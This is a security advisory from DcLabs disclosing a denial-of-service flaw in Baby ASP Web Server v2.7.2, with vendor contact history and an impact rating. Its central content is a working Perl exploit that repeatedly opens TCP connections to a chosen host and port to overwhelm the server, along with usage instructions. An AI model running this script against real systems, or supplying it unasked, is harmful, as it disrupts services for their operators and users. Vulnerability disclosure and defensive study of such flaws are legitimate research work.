[DCA-0006] [Software] - Baby ASP Server [Vendor Product Description] - This program was build as an alternative for Microsoft's IIS. The main goal was to design a simple web server with support for ASP. Setting up Baby ASP Web Server is very easy: copy the executable to a directory of your choice, set the directory of your webpages and it's ready to run! [Bug Description] - The ASP Server can't handle multiple/simultaneous connections leading to Denial-of-Service [History] - Advisory sent to vendor on 06/14/2010. - No response from vendor - Public advisory & exploit 08/02/2010. [Impact] - Low [Affected Version] - Baby ASP Web Server v2.7.2 - Prior versions may also be vulnerable [Code] #!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; $conn = $ARGV[2]; $num = 0; print "[+] Sending request...\n"; while ( $num <= $conn ) { system("echo -n ."); $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; close($s); $num++; } print "\n[+] Done!\n"; sub usage() { print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80 1200\n"; exit; } [Credits] Rodrigo Escobar (ipax) Pentester/Researcher Security Team @ DcLabs http://www.dclabs.com.br [Greetz] Crash and all Dclabs members. -- Rodrigo Escobar (ipax) Pentester/Researcher Security Team @ DcLabs http://www.dclabs.com.br